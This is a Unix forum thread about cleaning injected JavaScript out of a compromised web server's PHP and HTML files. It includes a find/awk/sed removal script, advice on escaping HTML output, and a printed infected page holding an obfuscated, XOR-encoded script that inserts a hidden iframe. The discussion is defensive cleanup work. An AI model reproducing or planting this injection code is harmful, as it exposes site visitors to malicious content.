javascript injection


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting javascript injection
# 15  
Old 03-05-2007
Quote:
Originally Posted by fed.linuxgossip
Please advise a script to get rid of the following code which is infected in a large number of files ( in particular php and html files )
Why fix the infected files? Don't you keep a sane copy of your static pages and scripts offline at a safe place?

Your CGI/PHP/etc. ought to be implemented in such a way to have converted '<' and '>' received to '&lt;' and '&gt;' before generating the output. Injection will not have been successful if this check exists.
# 16  
Old 03-05-2007
The script seems to be working fine.. thanks a lot.. i will let you know the effectiveness of the script after I run it serverwide.
# 17  
Old 03-05-2007
Hello cbkihong,

Please explain --->

Your CGI/PHP/etc. ought to be implemented in such a way to have converted '<' and '>' received to '&lt;' and '&gt;' before generating the output. Injection will not have been successful if this check exists.



Thanks.
# 18  
Old 03-06-2007
What I meant was this:

Neither fixing the defaced files nor replacing them is patching the security hole. The issue occurs because your PHP/CGI does not replace all '<' and '>' with their HTML entities counterpart (&lt; &gtSmilie in dynamically generated text when generating HTML output. If your PHP/CGI has implemented this, even though people try to inject script sections into your HTML files, they will not become executable Javascript and at least the attack is not successful because browsers will not treat them as script and execute them (people will see some strange Javascript code on the page, but you should be monitoring such, right?).

Try search for more information online on javascript injection. There are many patterns for these kinds of attacks.
# 19  
Old 03-07-2007
Hi,

There seems to be problems still with pages that have genuine javascript code.



Anyways... thank you very much for your advise.
# 20  
Old 03-16-2007
Hello sb008,

I finally found that the script works perfect except that it removes the last line of instead of just "</script>" ....

To explain you shown I have added the test below...

If you notice you will fine that.. for the line that has javascript closing code..
</script> it removes </html> from </script> </html>. If this can be fixed... the script will work superb.




root@server2 [/home/planetc]# cat /root/replaceJavInfect
find /home/planetc/public_html -type f -exec grep -l 'id="testws35fdgh"' {} \; | \
while read FILE
do
awk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' ${FILE} | sed -e 's/<div id="testws35fdgh">.*XXXXX$//' -e '/id="testws35fdgh"/,/<\/script>/d' > /tmp/whatsinaname
cp /tmp/whatsinaname ${FILE}
done





root@server2 [/home/planetc]# cat public_html/templates/fjt_cortrivenus/index.html
<html><body bgcolor="#FFFFFF"></body><div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x33\x27\x34\x38\x30"; var4 = "\x26\x21\x34\x21\x7b\x3b\x30\x21\x7a\x3c"; var5 = "\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25\x72"; var6 = "\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72\x64"; var7 = "\x63\x72\x75\x22\x3c\x31\x21\x3d\x68\x72"; var8 = "\x64\x63\x72\x75\x33\x27\x34\x38\x30\x37"; var9 = "\x3a\x27\x31\x30\x27\x68\x72\x65\x72\x75"; var10 = "\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32\x68"; var11 = "\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33\x27"; var12 = "\x34\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script> </html>





root@server2 [/home/planetc/public_html]# cat templates/fjt_cortrivenus/index.html
<html><body bgcolor="#FFFFFF"></body>
root@server2 [/home/planetc/public_html]#





Please advise.

Thanks
# 21  
Old 08-21-2007
Hello,


Please advise how can I remove upto </script> from <script> without removing </html> .. if it is on the same line with </script>

</script> </html>


Please read the last post for exact details.



Thanks.
Login or Register to Ask a Question

Previous Thread | Next Thread

5 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Making a script secure to code injection

Heyas I've been told my scipts would be insecure, and to fix that. Figured i might rethink some parts of my coding style, meanwhile i tried to write an additional catcher. After reading: fail : Security Issues - didnt help too much, infact - it confused me even more. n/a:... (8 Replies)
Discussion started by: sea
8 Replies

2. Red Hat

Cause PCIe error callbacks using AER injection

I am trying to cause a callback in the Linux nvme driver by using AER injection. I've modified the AER source code to directly inject errors through module loading rather than from userland program. I've verified that I got the correct bus, dev, and fn and that the error injection went... (0 Replies)
Discussion started by: Decrypto
0 Replies

3. Shell Programming and Scripting

SQL Injection Detection

I want to grep/awk /var/log/httpd/mysite-access_log.log and check if 2 words from the following appear in a single line: benchmark union information_schema drop truncate group_concat into file case hex lpad group order having insert union select from (12 Replies)
Discussion started by: koutroul
12 Replies

4. OS X (Apple)

Code injection

Im needing to create a postinst script for a debian package. I need it to search for this line of script in a plist file located at /folder/folder/folder/folder/folder/file.plist <key>TESTKEYLINE</key> <true/> and after it create a new line and insert this code <key>KEYNAME</key>... (0 Replies)
Discussion started by: iModdr
0 Replies

5. Cybersecurity

Javascript injection only when referred by search engine.

My website has some weird malware installed in it. When I click on a link from a search engine (google, bing, or even yahoo) my pages get a string of javascript inserted into them. The page can be a simple "Hello World" and it will still inject a line of javascript into the page. Here is a screen... (1 Reply)
Discussion started by: noPermissions
1 Replies
Login or Register to Ask a Question